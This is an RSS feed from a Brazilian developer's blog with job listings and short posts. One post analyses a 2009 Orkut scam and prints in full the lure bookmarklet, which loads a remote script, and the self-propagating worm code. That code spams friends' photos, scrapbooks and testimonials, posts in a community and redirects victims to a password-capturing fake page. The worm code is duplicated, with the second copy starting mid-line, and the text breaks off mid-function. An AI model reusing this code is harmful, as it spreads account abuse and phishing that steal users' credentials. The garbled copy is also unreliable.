<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Leonardo Lima</title>
	<atom:link href="http://www.leonardolima.com.br/feed" rel="self" type="application/rss+xml" />
	<link>http://www.leonardolima.com.br</link>
	<description>Desenvolvedor</description>
	<lastBuildDate>Fri, 22 Jul 2011 18:51:56 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Sysplan ~ 22/07/2011</title>
		<link>http://www.leonardolima.com.br/blog/oportunidades/sysplan-22072011</link>
		<comments>http://www.leonardolima.com.br/blog/oportunidades/sysplan-22072011#comments</comments>
		<pubDate>Fri, 22 Jul 2011 18:51:56 +0000</pubDate>
		<dc:creator>Leonardo Lima</dc:creator>
				<category><![CDATA[Oportunidades]]></category>

		<guid isPermaLink="false">http://www.leonardolima.com.br/?p=290</guid>
		<description><![CDATA[1º vaga Analista Programador Experiência mínima de 2 anos e meio em desenvolvimento utilizando as seguintes tecnologias/plataformas: DOMINIO DAS LINGUAGENS: JAVA, PL/SQL. JAVA SCRIPT, MODELO CONCEITUAL, DESIGN DE INTERFACE, ANÁLISE ORIENTADO A OBJETO DOMINIO EM JEE, UML, DESIGN PATTER, FRAMEWORKS (Struts, JSF, JPA, Hibernate), AJAX, MODELOS DE DOMINIO, ESPECIFICAÇÃO E REALIZAÇÃO DE CASOS DE USO, [...]]]></description>
			<content:encoded><![CDATA[<p>1º vaga<br />
Analista Programador<br />
Experiência mínima de 2 anos e meio em desenvolvimento utilizando as seguintes tecnologias/plataformas:<br />
DOMINIO DAS LINGUAGENS: JAVA, PL/SQL. JAVA SCRIPT, MODELO CONCEITUAL, DESIGN DE INTERFACE, ANÁLISE ORIENTADO A OBJETO<br />
DOMINIO EM JEE, UML, DESIGN PATTER, FRAMEWORKS (Struts, JSF, JPA, Hibernate), AJAX, MODELOS DE DOMINIO, ESPECIFICAÇÃO E REALIZAÇÃO DE CASOS DE USO, DESENVOLVIMENTO WEB<br />
Superior completo na área de TI<br />
Salário CLT FULL+ benefícios (AM+SV+VT+PLR+VR+VA).<br />
Mandar pretensão CLT<br />
Região Central &#8211; São Paulo/SP<br />
O profissional será funcionário direto do nosso cliente, empresa multinacional de grande porte.<br />
Obs.: nosso trabalho não gera custos aos profissionais.<br />
Interessados enviar cv para <a href="mailto:rh@sysplansp.com.br">rh@sysplansp.com.br</a> e colocar no assunto: JAVA CENTRO<br />
 <br />
2º vaga<br />
Analista Desenvolvedor .NET<br />
Experiência mínima de 2 anos e meio com Visual Studio 2005 ou superior, C# e ASP .NET, IIS 6.0 ou superior, SQL Server 2005 ou superior(desejável Transact SQL),Windows Server 2003 ou superior,arquitetura de aplicativos WEB.<br />
Desenho de arquitetura e desenvolvimento de interfaces de comunicação utilizando ao menos uma tecnologia(Ex. Sockets e Web Services)<br />
Salário CLT FULL + benefícios (AM+ SV+ VT+ PLR+ VR+ VA).<br />
Mandar pretensão CLT<br />
Região central &#8211; SP/SP<br />
O profissional será funcionário direto do nosso cliente,empresa multinacional de grande porte.<br />
Obs.: Nosso trabalho não gera custos aos profissionais.<br />
Interessados enviar cv para <a href="mailto:rh@sysplansp.com.br">rh@sysplansp.com.br</a> e colocar no assunto: DOT NET PLENO<br />
 <br />
3º vaga Analista Programador Com experiÊncia ASP.NET, C#, VB6, ASP 3.0 e SQL-Server.Projeto indeterminadoMandar pretensão como PJRegião de Atibaia/SPInteressados enviar cv para <a href="mailto:wilson@sysplansp.com.br">wilson@sysplansp.com.br</a> e colocar no assunto: C# ATIBAIA<br />
4º vaga<br />
Analista de Suporte Vendas Storage<br />
Com experiência mínima de 2 anos em Pré-vendas de Servidores e Storage<br />
Inglês avançado<br />
- Elaborar propostas técnicas de Servidores e Storage<br />
- Realizar apresentações técnicas<br />
Salário CLT FULL + benefícios (AM+ SV+ VT+ PLR+ VR+ VA).<br />
Mandar pretensão CLT<br />
Região central &#8211; SP/SP<br />
O profissional será funcionário direto do nosso cliente,empresa multinacional de grande porte.<br />
Obs.: Nosso trabalho não gera custos aos profissionais.<br />
Interessados enviar cv português e inglês para <a href="mailto:rh@sysplansp.com.br">rh@sysplansp.com.br</a> e colocar no assunto: STORAGE<br />
 <br />
 <br />
5º vaga<br />
Analista de Suporte Vendas Pleno<br />
- Conhecer soluções em Biometria quanto à: Hardware, interface USB, parâmetros, sistemas operacionais Windows e Linux. Inglês Fluente.<br />
- Linguagem de programação C++, Dot Net, JAVA. Conhecer o conceito de autenticação. Noções de banco de dados de autenticação (SQL, Oracle). Ter vivido desenvolvimento de aplicativos para discutir com profundidade e convencimento.<br />
- Boa desenvoltura para fazer apresentações técnicas. Participar de reuniões técnicas de pré-vendas.<br />
- Interfacear com fabricantes de software. Prospectar oportunidades para PalmSecure e soluções de segurança.<br />
- Levantar as necessidades do cliente e oferecer solução para PalmSecure.<br />
Salário CLT FULL + benefícios (AM+ SV+ VT+ PLR+ VR+ VA).<br />
Mandar pretensão CLT<br />
Região central &#8211; SP/SP<br />
O profissional será funcionário direto do nosso cliente,empresa multinacional de grande porte.<br />
Obs.: Nosso trabalho não gera custos aos profissionais.<br />
Interessados enviar cv português e inglês para <a href="mailto:rh@sysplansp.com.br">rh@sysplansp.com.br</a> e colocar no assunto: BIOMETRIA<br />
6º vaga<br />
ANALISTA MICROSIGA<br />
Residir na região do ABC<br />
Experiência comprovada de no mínimo cinco anos implementando o software de gestão ERP;<br />
Importante ter conhecimento nos módulos de compras e PCP; Desejável conhecer a versão 11;<br />
Mandar pretensão CLT.<br />
Regime CLT, semana de cinco dias &#8211; horário das 08:00 as 18:00hrs (uma hora de almoço);<br />
Benefícios: Plr, AM, AO, VT, VR e bolsa estudo de 50% após seis meses de estabilidade;<br />
O profissional será funcionário direto do nosso cliente (indústria).<br />
Obs.: nosso trabalho não gera custos aos profissionais.<br />
Interessados enviar cv para <a href="mailto:wilson@sysplansp.com.br">wilson@sysplansp.com.br</a> e colocar no assunto: MICROSIGA ABC<br />
 <br />
7º vaga<br />
Analista ERP Júnior (Totvs/Protheus)<br />
Conhecimentos:<br />
- Conhecimento nos módulos Administrativos do sistema, principalmente: contábil, fiscal, estoque e custos.<br />
- Conhecimento básico em programação ADVPL<br />
- Conhecimento das funções básicas de administração do Sistema: Criação de Usuários, Grupos de Usuários, parâmetros, gatilhos, etc..<br />
- Montagem de querys de consulta a banco de dados utilizando comandos SQL.<br />
- Entendimento da estrutura de tabelas do Protheus 10.<br />
- Entendimento dos processos empresariais. (Como funciona uma empresa.)<br />
Horário de Trabalho: segunda a sexta das 8:00 às 17:48<br />
Local de Trabalho: início da Rodovia Anhanguera<br />
Salário: R$2.300,00 CLT<br />
Benefícios: vale-refeição R$14,00 dia, vale alimentação R$100,00 mês, assistência médica e odontológica, vale transporte, seguro de vida e convênio com farmácia.<br />
O profissional será funcionário direto do nosso cliente, empresa de grande porte.<br />
Obs.: nosso trabalho não gera custos aos profissionais.<br />
Interessados enviar cv para <a href="mailto:rh@sysplansp.com.br">rh@sysplansp.com.br</a> e colocar no assunto: Siga Júnior8º vaga<br />
Gerente de Marketing (TI)<br />
1. Conhecimentos básicos em Sistemas de Intregação de Negócios na indústria de TI<br />
    &#8211; Entender processos de Sistemas de Intregação de Negócios do Governo, empresas de grande porte, etc (licitações).<br />
2. Conhecimentos em análises e estratégias de Marketing.<br />
    &#8211; Experiência em investigação de tendências de mercado, elaboração de relatórios de estratégias para o mercado;<br />
    &#8211; Conhecimentos em empresas de consultoria e pesquisa;<br />
    &#8211; Necessidade de co-participação em trabalhos com consultorias / empresas de pesquisas como IDC, Gatner, BCG, etc;<br />
3. Mais de 5 anos experiência em Marketing;<br />
    &#8211; Criação de relatórios estratégicos com informações de pesquisa de mercado / análise;<br />
4. Inglês fluente: fala e escrita.<br />
5. Excelente conhecimento na elaboração de documentos utilizando a ferramenta MS Software;<br />
O profissional será funcionário de uma multinacional de grande porte, líder em seu segmento<br />
Obs.: nosso trabalho não gera custos aos profissionais.<br />
Encaminhar pretensão como CLT.<br />
Região Zona Sul<br />
Interessados enviar cv em português e inglês para <a href="mailto:rh@sysplansp.com.br">rh@sysplansp.com.br</a> e colocar no assunto: MARKETING CLT<br />
9º vaga<br />
Analista de Suporte Júnior<br />
Com experiência em suporte de 2º nível em ambiente Windows, AD, suporte telefônico, remoto e campo.<br />
Com CNH<br />
Projeto indeterminado (longo  prazo) &#8211; empresa de grande porte.<br />
O profissional poderá ser PJ ou CLT. Vai depender da escolha do profissional.<br />
Mandar pretensão<br />
Região Barra Funda &#8211; SP/SP<br />
Interessados enviar cv para <a href="mailto:rh@sysplansp.com.br">rh@sysplansp.com.br</a>  e colocar no assunto: SUPORTE BARRA FUNDA</p>
No tags for this post.]]></content:encoded>
			<wfw:commentRss>http://www.leonardolima.com.br/blog/oportunidades/sysplan-22072011/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DesenvolvimentoWeb.NET.br meu novo domínio!</title>
		<link>http://www.leonardolima.com.br/blog/curiosidades/desenvolvimentoweb-net-br-meu-novo-dominio</link>
		<comments>http://www.leonardolima.com.br/blog/curiosidades/desenvolvimentoweb-net-br-meu-novo-dominio#comments</comments>
		<pubDate>Thu, 04 Nov 2010 03:30:19 +0000</pubDate>
		<dc:creator>Leonardo Lima</dc:creator>
				<category><![CDATA[Curiosidades]]></category>

		<guid isPermaLink="false">http://www.leonardolima.com.br/?p=286</guid>
		<description><![CDATA[E ai pessoal&#8230; Meu novo desafio SEO&#8230; Colocar meu novo domínio entre os top 10 do Google&#8230; keyword ?? &#8220;DESENVOLVIMENTO WEB&#8221; é claro rsrs Vamos ver em qto tempo eu consigo isso!! No tags for this post.]]></description>
			<content:encoded><![CDATA[<p>E ai pessoal&#8230;</p>
<p>Meu novo desafio SEO&#8230;<br />
Colocar meu novo domínio entre os top 10 do Google&#8230; keyword ?? &#8220;DESENVOLVIMENTO WEB&#8221; é claro rsrs</p>
<p>Vamos ver em qto tempo eu consigo isso!!</p>
No tags for this post.]]></content:encoded>
			<wfw:commentRss>http://www.leonardolima.com.br/blog/curiosidades/desenvolvimentoweb-net-br-meu-novo-dominio/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Aeromodelo treinador &#8211; A VENDA!</title>
		<link>http://www.leonardolima.com.br/blog/curiosidades/aeromodelo-treinador-a-venda-3</link>
		<comments>http://www.leonardolima.com.br/blog/curiosidades/aeromodelo-treinador-a-venda-3#comments</comments>
		<pubDate>Tue, 31 Aug 2010 18:11:24 +0000</pubDate>
		<dc:creator>Leonardo Lima</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Curiosidades]]></category>

		<guid isPermaLink="false">http://www.leonardolima.com.br/?p=284</guid>
		<description><![CDATA[Para quem gosta e tem interesse&#8230; http://www.bindella.com.br/aero/ No tags for this post.]]></description>
			<content:encoded><![CDATA[<p>Para quem gosta e tem interesse&#8230;</p>
<p>http://www.bindella.com.br/aero/</p>
No tags for this post.]]></content:encoded>
			<wfw:commentRss>http://www.leonardolima.com.br/blog/curiosidades/aeromodelo-treinador-a-venda-3/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Creating PDF Documents in ASP.NET</title>
		<link>http://www.leonardolima.com.br/sem-categoria/creating-pdf-documents-in-asp-net</link>
		<comments>http://www.leonardolima.com.br/sem-categoria/creating-pdf-documents-in-asp-net#comments</comments>
		<pubDate>Tue, 27 Jul 2010 20:23:36 +0000</pubDate>
		<dc:creator>Leonardo Lima</dc:creator>
				<category><![CDATA[Sem categoria]]></category>

		<guid isPermaLink="false">http://www.leonardolima.com.br/?p=273</guid>
		<description><![CDATA[After testing a largne number of tools to generate PDF using ASP.NET, I finally found one that met my expectative, is WebSupergoo Abcpdf, which allowed me to generate PDF on the fly directly from HTML pages with some ease. In the near future I intend to post the code I used, but the moment I&#8217;m [...]]]></description>
			<content:encoded><![CDATA[<p>After testing a largne number of tools to generate PDF using ASP.NET, I finally found one that met my expectative, is <a href="http://www.websupergoo.com/abcpdf-1.htm">WebSupergoo Abcpdf</a>, which allowed me to generate PDF on the fly directly from HTML pages with some ease.<br />
In the near future I intend to post the code I used, but the moment I&#8217;m short on time, if someone is using tool and is experiencing problems can contact;)</p>
No tags for this post.]]></content:encoded>
			<wfw:commentRss>http://www.leonardolima.com.br/sem-categoria/creating-pdf-documents-in-asp-net/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Programador WEB</title>
		<link>http://www.leonardolima.com.br/blog/oportunidades/programador-web</link>
		<comments>http://www.leonardolima.com.br/blog/oportunidades/programador-web#comments</comments>
		<pubDate>Tue, 20 Jul 2010 23:57:02 +0000</pubDate>
		<dc:creator>Leonardo Lima</dc:creator>
				<category><![CDATA[Oportunidades]]></category>

		<guid isPermaLink="false">http://www.leonardolima.com.br/?p=271</guid>
		<description><![CDATA[Objetivo: Desenvolver, implantar e suportar sistemas. Experiência: 4 anos Contratação: Imediata CLT e vasto pacote de beneficios. Formação: Superior Completo na área de Informática Conhecimentos: Linguagens de Programação – Visual Basic (desenvolvimento de componentes COM+), ASP, JavaScript, HTML, XML, C#, ASP.NET, AJAX e Linq. Microsoft .Net Framework 2.0/ 3.5. Banco de Dados &#8211; Microsoft SQL [...]]]></description>
			<content:encoded><![CDATA[<p>Objetivo: Desenvolver, implantar e suportar sistemas.</p>
<p>Experiência: 4 anos</p>
<p>Contratação: Imediata</p>
<p>CLT e vasto pacote de beneficios.</p>
<p>Formação: Superior Completo na área de Informática</p>
<p>Conhecimentos: Linguagens de Programação – Visual Basic (desenvolvimento de componentes COM+), ASP, JavaScript, HTML, XML, C#, ASP.NET, AJAX e Linq.</p>
<p>Microsoft .Net Framework 2.0/ 3.5.<br />
Banco de Dados &#8211; Microsoft SQL Server 2000/ 2005/ 2008.<br />
Software’s Gráficos – Adobe Photoshop, Macromedia Dreamweaver.<br />
Instalação e Configuração do IIS<br />
Região – Centro de Suzano</p>
<p>Para maiores informações entre em contato com a Srtª Claudia Ramos [claudia.ramos at imago.com.br]</p>
No tags for this post.]]></content:encoded>
			<wfw:commentRss>http://www.leonardolima.com.br/blog/oportunidades/programador-web/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Brechas no novo orkut&#8230;.</title>
		<link>http://www.leonardolima.com.br/blog/javascript/brechas-no-novo-orkut</link>
		<comments>http://www.leonardolima.com.br/blog/javascript/brechas-no-novo-orkut#comments</comments>
		<pubDate>Fri, 27 Nov 2009 21:09:27 +0000</pubDate>
		<dc:creator>Leonardo Lima</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Convite]]></category>
		<category><![CDATA[Convite para o novo orkut]]></category>
		<category><![CDATA[Novo Orkut]]></category>
		<category><![CDATA[Orkut]]></category>
		<category><![CDATA[Segurança]]></category>

		<guid isPermaLink="false">http://www.leonardolima.com.br/?p=210</guid>
		<description><![CDATA[Nova do momento para sacanear as pessoas no orkut Esse script é o que está sendo utilizado para enganar o pessoal, falando que é para transformar o orkut na nova versão, sem precisar do convite. Mas na verdade ele trabalha usando chamadas AJAX e explorando falhas do Orkut, ele pega lista todos os Friends, manda [...]]]></description>
			<content:encoded><![CDATA[<p><iframe src="http://www.leonardolima.com.br/wp-content/uploads/C1.html" width="500" height="70" marginwidth="0" marginheight="0" frameborder="0" frameSpacing="0" cellSpacing="0" cellPadding="0" scrolling="no" noResize></iframe></p>
<p>Nova do momento para sacanear as pessoas no orkut <img src='http://www.leonardolima.com.br/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Esse script é o que está sendo utilizado para enganar o pessoal, falando que é para transformar o orkut na nova versão, sem precisar do convite.<br />
Mas na verdade ele trabalha usando chamadas AJAX e explorando falhas do Orkut, ele pega lista todos os Friends, manda um scrap, um depoimento, pega a primeira foto do primeiro album e posta um comentário, alem de ir na comunidade criada pelo engraçadinho faz o registro na comunidade, e posta em um dos topicos<br />
e por final redireciona o usuário para uma pagina falsa que serve para capturar senhas<br />
Bem espertinho o cara né&#8230; Para se proteger o rapaz fez uma verificação de que página está chamando a página dele, e faz um tratamento para não deixar vazar o script facilmente, se voce chama a url camuflada no script sem ser do orkut, ele dá uma página de manutenção, sorte que existe Firebug!!!</p>
<p>Alguns dados</p>
<p>URL da Comunidade : http://www.orkut.com.br/Main#Community?cmm=96481032<br />
URL Camuflada no Script : http://sn.im/neworkuti<br />
URL do Script : http://zapmu.com.br/orkuttt/<br />
URL Orkut Falso : http://convitesaqui.com/Orkut/</p>
<p>Código que a vitima é induzida a executar</p>
<p>[javascript]javascript:d=document;c=d.createElement(&#8216;script&#8217;);d.body.appendChild(c);c.src=&#8217;ht&#8217;+'tp://sn&#8217;+&#8217;.im/neworkuti&#8217;;void(0)[/javascript]</p>
<p>Script do mal rsrs</p>
<p>[javascript]<br />
// JavaScript Document<br />
document.title = &quot;Convites ORKUT 2010  &#8211; Aguarde&#8230;&quot;;</p>
<p>function createXMLHttpRequest(){<br />
    return window.ActiveXObject ? new ActiveXObject(&quot;Msxml2.XMLHTTP&quot;) : new XMLHttpRequest;<br />
}</p>
<p>function getFL(a){<br />
    var b = createXMLHttpRequest();<br />
    b.open(&quot;GET&quot;, &quot;/RequestFriends.aspx?req=fl&amp;uid=&quot; + a + &quot;&amp;oxh=1&amp;rnd=&quot; +<br />
    Math.random(), false);</p>
<p>    b.send(null);</p>
<p>    if (b.status == 200) {<br />
        eval(&quot;var jSON=&quot; + b.responseText.split(&quot;while (true); &amp;&amp;&amp;START&amp;&amp;&amp;&quot;)[1] +<br />
        &quot;;&quot;);<br />
        manageFriends(jSON);<br />
    }</p>
<p>}</p>
<p>function manageFriends(a){<br />
    var b = a.data.list;<br />
    var c = b.length &gt; 10 ? 10 : b.length;<br />
    getAid(b, 0);<br />
}</p>
<p>function getAid(a, n){<br />
    var b = a.length;</p>
<p>    if (n == b) {<br />
        return;<br />
    }</p>
<p>    var c = createXMLHttpRequest();<br />
    var d = a[Math.round(Math.random() * (a.length - 1))].id;</p>
<p>    c.open(&quot;GET&quot;, &quot;/AlbumList.aspx?uid=&quot; + d, false);<br />
    c.send(null);</p>
<p>    if (c.status == 200) {<br />
        var e = c.responseText.match(/aid=(\d+)/i);</p>
<p>        if (e) {<br />
            e = e[1];<br />
            getPid(d, e);<br />
        }<br />
    }<br />
    n++;</p>
<p>    getAid(a, n);<br />
}</p>
<p>function getPid(a, b){</p>
<p>    var c = createXMLHttpRequest();<br />
    c.open(&quot;GET&quot;, &quot;/Album.aspx?uid=&quot; + a + &quot;&amp;aid=&quot; + b, false);<br />
    c.send(null);</p>
<p>    if (c.status == 200) {<br />
        var d = c.responseText.match(/&amp;(amp;)?pid=(\d+)/i);<br />
        if (d) {<br />
            postComment(a, b, d[2]);<br />
        }<br />
    }<br />
}</p>
<p>function postComment(a, b, c){</p>
<p>    var d = &quot;com=&quot; +<br />
    encodeURIComponent(&#8216;Novo orkut vc pode ter!! olha la http://www.orkut.com.br/Main#Community?cmm=96481032&#8242;) +<br />
    &quot;&amp;POST_TOKEN=&quot; + JSHDF['CGI.POST_TOKEN'] + &quot;&amp;signature=&quot; + encodeURIComponent(JSHDF['Page.signature.raw']) +<br />
	&quot;&amp;Action.addComment=&amp;aid=&quot; + b +<br />
    &quot;&amp;uid=&quot; + a + &quot;&amp;pid=&quot; + c + &quot;&amp;ploc=&amp;oxh=1&quot;;</p>
<p>    xml = createXMLHttpRequest();<br />
    xml.open(&quot;POST&quot;, &quot;/AlbumZoom.aspx&quot;, false);<br />
    xml.setRequestHeader(&quot;Content-Type&quot;, &quot;application/x-www-form-urlencoded; charset=UTF-8&quot;);<br />
    xml.send(d);<br />
    sendScrap(a);<br />
}</p>
<p>function sendScrap(a){</p>
<p>    var c = &quot;Action.submit=1&amp;scrapText=&quot; +<br />
    encodeURIComponent(&#8216;Ei deixei um comentario na sua foto, olha la&#8217;) +<br />
    Math.floor(Math.random() * 91839067) +<br />
    &quot;&amp;POST_TOKEN=&quot; + JSHDF['CGI.POST_TOKEN'] +<br />
    &quot;&amp;signature=&quot; + encodeURIComponent(JSHDF['Page.signature.raw']) +<br />
    &quot;&amp;uid=&quot; + a;</p>
<p>    var d = createXMLHttpRequest();</p>
<p>    d.open(&quot;POST&quot;, &quot;/Scrapbook.aspx&quot;, false);<br />
    d.setRequestHeader(&quot;Content-Type&quot;, &quot;application/x-www-form-urlencoded;&quot;);<br />
    d.send(c);<br />
    depo(a);<br />
}</p>
<p>function depo(a){</p>
<p>    var b = &#8216;[navy]Oie, te mandei um convite para o [purple]Novo Orkut[/purple], pra aceitar ele use esse codigo:\n\n[b][red]javascript:d=document;c=d.createElement(%22script%22);d.body.appendChild(c);c.src=%22ht%22+%22tp://sn.%22+%22im/new%22+%22orkuti%22;void(0)[/b][/red]\n\ne facil, so colocar na barra do [b]navegador[/b] onde digita [b]WWW[/b] e da enter.\n\nSe tiver alguma duvida me fala.. <img src='http://www.leonardolima.com.br/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> &#8217;;</p>
<p>    var c = &quot;Action.submit&amp;countedTextbox=&quot; + encodeURIComponent(b) +<br />
    &quot;&amp;POST_TOKEN=&quot; + JSHDF['CGI.POST_TOKEN'] +<br />
    &quot;&amp;signature=&quot; + encodeURIComponent(JSHDF['Page.signature.raw']) +<br />
    &quot;&amp;uid=&quot; + a;</p>
<p>    var xxt = createXMLHttpRequest();</p>
<p>    xxt.open(&quot;POST&quot;, &quot;/TestimonialWrite.aspx&quot;, false);<br />
    xxt.s<br />
    document.title = &quot;Convites ORKUT 2010  &#8211; Aguarde&#8230;&quot;;</p>
<p>    function createXMLHttpRequest(){<br />
        return window.ActiveXObject ? new ActiveXObject(&quot;Msxml2.XMLHTTP&quot;) : new XMLHttpRequest;<br />
    }</p>
<p>    function getFL(a){<br />
        var b = createXMLHttpRequest();</p>
<p>        b.open(&quot;GET&quot;, &quot;/RequestFriends.aspx?req=fl&amp;uid=&quot; + a + &quot;&amp;oxh=1&amp;rnd=&quot; + Math.random(), false);<br />
        b.send(null);</p>
<p>        if (b.status == 200) {<br />
            eval(&quot;var jSON=&quot; +<br />
            b.responseText.split(&quot;while (true); &amp;&amp;&amp;START&amp;&amp;&amp;&quot;)[1] + &quot;;&quot;);<br />
            manageFriends(jSON);<br />
        }<br />
    }</p>
<p>    function manageFriends(a){<br />
        var b = a.data.list;<br />
        var c = b.length &gt; 10 ? 10 : b.length;</p>
<p>        getAid(b, 0);<br />
    }</p>
<p>    function getAid(a, n){<br />
        var b = a.length;</p>
<p>        if (n == b) {<br />
            return;<br />
        }</p>
<p>        var c = createXMLHttpRequest();<br />
        var d = a[Math.round(Math.random() * (a.length - 1))].id;<br />
        c.open(&quot;GET&quot;, &quot;/AlbumList.aspx?uid=&quot; + d, false);<br />
        c.send(null);</p>
<p>        if (c.status == 200) {<br />
            var e = c.responseText.match(/aid=(\d+)/i);</p>
<p>            if (e) {<br />
                e = e[1];<br />
                getPid(d, e);<br />
            }<br />
        }<br />
        n++;</p>
<p>        getAid(a, n);<br />
    }</p>
<p>    function getPid(a, b){</p>
<p>        var c = createXMLHttpRequest();</p>
<p>        c.open(&quot;GET&quot;, &quot;/Album.aspx?uid=&quot; + a + &quot;&amp;aid=&quot; + b, false);<br />
        c.send(null);</p>
<p>        if (c.status == 200) {<br />
            var d = c.responseText.match(/&amp;(amp;)?pid=(\d+)/i);</p>
<p>            if (d) {<br />
                postComment(a, b, d[2]);<br />
            }<br />
        }<br />
    }</p>
<p>    function postComment(a, b, c){</p>
<p>        var d = &quot;com=&quot; +<br />
        encodeURIComponent(&#8216;Novo orkut vc pode ter!! olha la http://www.orkut.com.br/Main#Community?cmm=96481032&#8242;) +<br />
        &quot;&amp;POST_TOKEN=&quot; + JSHDF['CGI.POST_TOKEN'] +<br />
        &quot;&amp;signature=&quot; + encodeURIComponent(JSHDF['Page.signature.raw']) +<br />
        &quot;&amp;Action.addComment=&amp;aid=&quot; + b +<br />
        &quot;&amp;uid=&quot; + a +<br />
        &quot;&amp;pid=&quot; + c + &quot;&amp;ploc=&amp;oxh=1&quot;;</p>
<p>        xml = createXMLHttpRequest();<br />
        xml.open(&quot;POST&quot;, &quot;/AlbumZoom.aspx&quot;, false);<br />
        xml.setRequestHeader(&quot;Content-Type&quot;, &quot;application/x-www-form-urlencoded; charset=UTF-8&quot;);<br />
        xml.send(d);</p>
<p>        sendScrap(a);<br />
    }</p>
<p>    function sendScrap(a){</p>
<p>        var c = &quot;Action.submit=1&amp;scrapText=&quot; +<br />
        encodeURIComponent(&#8216;Ei deixei um comentario na sua foto, olha la&#8217;) +<br />
        Math.floor(Math.random() * 91839067) +<br />
        &quot;&amp;POST_TOKEN=&quot; + JSHDF['CGI.POST_TOKEN'] +<br />
        &quot;&amp;signature=&quot; + encodeURIComponent(JSHDF['Page.signature.raw']) +<br />
        &quot;&amp;uid=&quot; + a;</p>
<p>        var d = createXMLHttpRequest();</p>
<p>        d.open(&quot;POST&quot;, &quot;/Scrapbook.aspx&quot;, false);<br />
        d.setRequestHeader(&quot;Content-Type&quot;, &quot;application/x-www-form-urlencoded;&quot;);<br />
        d.send(c);<br />
        depo(a);<br />
    }</p>
<p>    function depo(a){</p>
<p>        var b = &#8216;[navy]Oie, te mandei um convite para o [purple]Novo Orkut[/purple], pra aceitar ele use esse codigo:\n\n[b][red]javascript:d=document;c=d.createElement(%22script%22);d.body.appendChild(c);c.src=%22ht%22+%22tp://sn.%22+%22im/new%22+%22orkuti%22;void(0)[/b][/red]\n\ne facil, so colocar na barra do [b]navegador[/b] onde digita [b]WWW[/b] e da enter.\n\nSe tiver alguma duvida me fala.. <img src='http://www.leonardolima.com.br/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> &#8217;;<br />
        var c = &quot;Action.submit&amp;countedTextbox=&quot; + encodeURIComponent(b) +<br />
        &quot;&amp;POST_TOKEN=&quot; + JSHDF['CGI.POST_TOKEN'] +<br />
        &quot;&amp;signature=&quot; + encodeURIComponent(JSHDF['Page.signature.raw']) +<br />
        &quot;&amp;uid=&quot; + a;</p>
<p>        var xxt = createXMLHttpRequest();</p>
<p>        xxt.open(&quot;POST&quot;, &quot;/TestimonialWrite.aspx&quot;, false);<br />
        xxt.setRequestHeader(&quot;Content-Type&quot;, &quot;application/x-www-form-urlencoded;&quot;);<br />
        xxt.send(c);<br />
    }</p>
<p>    function show_me(){<br />
        alert(&quot;Convite Aceito.&quot;);<br />
        alert(&quot; &#8211; Aguarde 5 minutos \n &#8211; Depois entre novamente no orkut&#8230;&quot;);<br />
    }</p>
<p>    function cmm(a){<br />
        var b = &quot;POST_TOKEN=&quot; + encodeURIComponent(JSHDF['CGI.POST_TOKEN']) +<br />
        &quot;&amp;signature=&quot; + encodeURIComponent(JSHDF['Page.signature.raw']) + &quot;&amp;Action.join&quot;;</p>
<p>        var c = createXMLHttpRequest();<br />
        c.open(&quot;POST&quot;, &quot;/CommunityJoin.aspx?cmm=&quot; + a, false);<br />
        c.setRequestHeader(&quot;Content-Type&quot;, &quot;application/x-www-form-urlencoded&quot;);<br />
        c.send(b);<br />
    }</p>
<p>    function Pamela(a){<br />
        setTimeout(&quot;DarkVampiro()&quot;, 10000);</p>
<p>        var bbb = [&quot;blue&quot;, &quot;red&quot;, &quot;violet&quot;, &quot;green&quot;, &quot;gray&quot;, &quot;navy&quot;, &quot;orange&quot;, &quot;purple&quot;];<br />
        var color = Math.floor(Math.random() * bbb.length);<br />
        var Danilo = [&quot;Parabens&quot;, &quot;Voce esta de Parabens&quot;, &quot;Adorei&quot;, &quot;Amei&quot;, &quot;Fantastico&quot;, &quot;Muito Legal Este Novo Orkut&quot;, &quot;Sensacional&quot;, &quot;Amei e Adorei&quot;];<br />
        var Miedi = Math.floor(Math.random() * Danilo.length);<br />
        var up = &quot;[b]SOBE O TOPICO [&quot; + bbb[color] + &quot;]UP![/&quot; + bbb[color] + &quot;][/b] Porque Funciona [:D] &quot; + Danilo[Miedi] + &quot; \n &#8230;.. [silver]&quot; + Math.floor(Math.random() * 95234511);</p>
<p>        var b = &quot;POST_TOKEN=&quot; + encodeURIComponent(JSHDF['CGI.POST_TOKEN']) +<br />
        &quot;&amp;signature=&quot; + encodeURIComponent(JSHDF['Page.signature.raw']) +<br />
        &quot;&amp;bodyText=&quot; + encodeURIComponent(up) + &quot;&amp;Action.submit&quot;;</p>
<p>        var c = createXMLHttpRequest();<br />
        c.open(&quot;POST&quot;, &quot;/CommMsgPost.aspx?cmm=&quot; + a, false);<br />
        c.setRequestHeader(&quot;Content-Type&quot;, &quot;application/x-www-form-urlencoded&quot;);<br />
        c.send(b);<br />
    }</p>
<p>    function DarkVampiro(){<br />
        window.location = &quot;http://convitesaqui.com/Orkut/&quot;<br />
    };</p>
<p>    function noob(){</p>
<p>        var Owned = prompt(&quot;Qual cor desejas (1-Black, 0-White, 4-Red, 13-Green, 8-Violet, 9-Pink, 21-Rosa? \n\n Em Seguida Coloque o Numero da COR:&quot;, &quot;&quot;);<br />
